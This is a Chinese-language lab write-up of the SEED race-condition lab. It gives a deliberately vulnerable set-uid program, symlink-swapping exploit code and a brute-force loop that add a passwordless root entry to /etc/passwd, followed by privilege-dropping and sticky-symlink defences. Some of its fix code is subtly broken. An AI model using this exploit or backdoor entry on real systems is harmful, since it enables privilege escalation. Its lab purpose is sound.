本文主要是介绍信息安全 SEED Lab7 Race Condition Vulnerability Lab,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
整个实验主要是实施竞态攻击。先用下面的命令禁止使用全局可写目录的符号连接
// On Ubuntu 12.04, use the following:
$ sudo sysctl -w kernel.yama.protected_sticky_symlinks=0// On Ubuntu 16.04, use the following:
$ sudo sysctl -w fs.protected_symlinks=0
有漏洞的示例代码如下:
/* vulp.c */
#include <stdio.h>
#include<unistd.h>int main()
{char * fn = "/tmp/XYZ";char buffer[60];FILE *fp;/* get user input */scanf("%50s", buffer );if(!access(fn, W_OK)){fp = fopen(fn, "a+");fwrite("\n", sizeof(char), 1, fp);fwrite(buffer, sizeof(char), strlen(buffer), fp);fclose(fp);}else printf("No permission \n");return 0;
}
编译并设为root set-uid 程序
gcc -o vulp vulp.c
sudo chown root vulp
sudo chmod 4755 vulp
1. Task 1
由于后面要用竞态攻击来向系统添加新的拥有root权限的用户,这就涉及到到在/etc/passwd文件中新增内容,这个部分主要是确定添加的内容。
root用户对应的内容为,第一个字段为用户名,第二个字段为密码的哈希,如为x则表示密码在/etc/shadow文件中,其他就不细说了。
root:x:0:0:root:/root:/bin/bash
空密码的哈希值为 U6aMy0wojraho,所以要添加的一行如下,将其保存到passwd_input文件中
test:U6aMy0wojraho:0:0:test:/root:/bin/bash
同时将这一行添加到/etc/passwd文件的最后,尝试用test用户进行登录,可以发现可以无密码登录,且有root权限。
最后要记得将那一行从/etc/passwd中删去,后面我们将通过竞态攻击来向/etc/passwd增添内容
2. Task 2
2.1. Task 2.A
这部分主要是实施竞态攻击来向系统添加新的拥有root权限的用户。
要添加用户,必须在/etc/passwd中添加新的一行。其中的密码是真实密码的哈希值。空密码的哈希值为 U6aMy0wojraho,所以要添加的一行如下,将其保存到passwd_input文件中
新建一个脚本,不停地运行上面的有漏洞的程序,并每次用ls -l /etc/passwd 对比初始的 来判断文件内容是否发送变化,即攻击是否成功。内容如下:
#!/bin/bash
CHECK_FILE="ls -l /etc/passwd"
old=$($CHECK_FILE)
new=$($CHECK_FILE)
while [ "$old" == "$new" ]
do ./vulp < passwd_input new=$($CHECK_FILE)
done
echo "STOP... The passwd file has been changed"
用来进行攻击的代码如下:
#include <unistd.h>int main() {while(1) {unlink("/tmp/XYZ");symlink("/dev/null", "/tmp/XYZ");usleep(1000);unlink("/tmp/XYZ");symlink("/etc/passwd", "/tmp/XYZ");usleep(1000);}return 0;
}
一起运行,等几秒可以发现成功修改了/etc/passwd文件
多尝试几次,发现也有运行很久都没攻击成功的时候,此时查看/tmp/XYZ信息,可以发现owner为root, 攻击程序是普通权限,所以没有权限去修改/tmp/XYZ指向,造成攻击失败。
如出现上述情况,可以删掉这个文件再尝试。其中攻击代码中加的usleep也是为了避免这种情况出现。
2.1. Task 2.B
这个部分应该是新增,它讨论了上面攻击失败时/tmp/XYZ所有者变成root的原因。
原因就是攻击程序本身也存在竞态漏洞,非常讽刺。unlink和symlink是两个调用,如果在中间发生进程切换,这时被攻击的进程刚好运行使用a+标志的fopen时,/tmp/XYZ文件并不存在,因此会创建 /tmp/XYZ,用户为euid, 也就是root。此后攻击代码只有普通权限,无法修改root的文件的符号指向,所以攻击失败。
根本原因是unlink 和 symlink被分开了,其实他们应该是一个原子性的整体。
实验中的示例代码如下,但必须注意这个代码其实存在一样的问题,我们需要对其进行修改。
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/fs.h>int main()
{while(1) {unsigned int flags = RENAME_EXCHANGE;unlink("/tmp/XYZ"); symlink("/dev/null", "/tmp/XYZ");unlink("/tmp/ABC"); symlink("/etc/passwd", "/tmp/ABC");syscall(SYS_renameat2, 0, "/tmp/XYZ", 0, "/tmp/ABC", flags);}return 0;
}
修改后的代码如下, 即开始处先创建两个符号链接分别指向/dev/null 和 /etc/passwd,然后每次循环让他们互相交换两次即可。
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/fs.h>int main()
{unlink("/tmp/XYZ"); symlink("/dev/null", "/tmp/XYZ");unlink("/tmp/ABC"); symlink("/etc/passwd", "/tmp/ABC");while(1) {unsigned int flags = RENAME_EXCHANGE;syscall(SYS_renameat2, 0, "/tmp/XYZ", 0, "/tmp/ABC", flags);syscall(SYS_renameat2, 0, "/tmp/XYZ", 0, "/tmp/ABC", flags);}return 0;
}
修改之后,多次尝试都能很快攻击成功,不会出现上面owner被改成root导致攻击失败的情况。
3. Task 3
这部分主要是实施一个防御措施,即在open和write文件时临时关闭特权,之后再恢复。
具体代码如下:
/* vulp.c */
#include <stdio.h>
#include<unistd.h>int main()
{char * fn = "/tmp/XYZ";char buffer[60];FILE *fp;/* get user input */scanf("%50s", buffer );uid_t real_uid = getuid();uid_t eff_uid = geteuid();seteuid(real_uid);if(!access(fn, W_OK)){fp = fopen(fn, "a+");fwrite("\n", sizeof(char), 1, fp);fwrite(buffer, sizeof(char), strlen(buffer), fp);fclose(fp);}else printf("No permission \n");seteuid(eff_uid);return 0;
}
攻击结果如下,可以看到一堆段错误,因为在攻击成功时会用普通权限去写入/etc/passwd,权限不够,所以段错误。
更好的是改成下面的代码,因为在fopen函数前effective uid 已经等于 real uid, 所以就不再需要access函数进行判断了。
/* vulp.c */
#include <stdio.h>
#include<unistd.h>int main()
{char * fn = "/tmp/XYZ";char buffer[60];FILE *fp;/* get user input */scanf("%50s", buffer );uid_t real_uid = getuid();uid_t eff_uid = geteuid();seteuid(real_uid);fp = fopen(fn, O_WRITE);if (fp != -1) {fwrite("\n", sizeof(char), 1, fp);fwrite(buffer, sizeof(char), strlen(buffer), fp);fclose(fp);}else printf("No permission \n");seteuid(eff_uid);return 0;
}
4. Task 4
这部分主要是打开系统的粘滞符号链接保护,再进行攻击。
// On Ubuntu 12.04, use the following:
$ sudo sysctl -w kernel.yama.protected_sticky_symlinks=1// On Ubuntu 16.04, use the following:
$ sudo sysctl -w fs.protected_symlinks=1
攻击结果如下,运行很久之后,可以看到报了很多的段错误,且攻击失败,文件内容未被修改。
这个防御措施的原理如下:
如果一个目录的other权限设置有写和执行权限的话,那么别的用户也是可以在该目录下进行创建文件和删除文件等操作。
/tmp 是一个大家都能读写删除文件的文件夹,其所有者为root, 在没有粘滞比特位的情况下,它的 other 权限为 rwx。这时一个用户可以删除另一个用户在/tmp下的文件,这是有问题的。
粘滞位权限便是针对此种情况设置,当⽬录被设置了粘滞位权限以后,即便⽤户对该⽬录有写⼊权限,也不能删除该⽬录中其他⽤户的⽂件数据,⽽是只有该⽂件的所有者和root⽤户才有权将其删除。设置了粘滞位之后,正好可以保持⼀种动态的平衡:允许各⽤户在⽬录中任意写⼊、删除数据,但是禁⽌随意删除其他⽤户的数据。
对于全局可写的粘滞目录,开启保护后,其中的符号链接只有在符号链接的所有者和 (目录的所有者,进程的有效ID) 其中一个 一样的时候,才是有效的,否则系统不让使用。
在实验里,进程有效ID为root, 目录所有者为root,符号链接所有者为seed(非root), 都不匹配,所以没有权限使用,因此报段错误程序终止。
这篇关于信息安全 SEED Lab7 Race Condition Vulnerability Lab的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!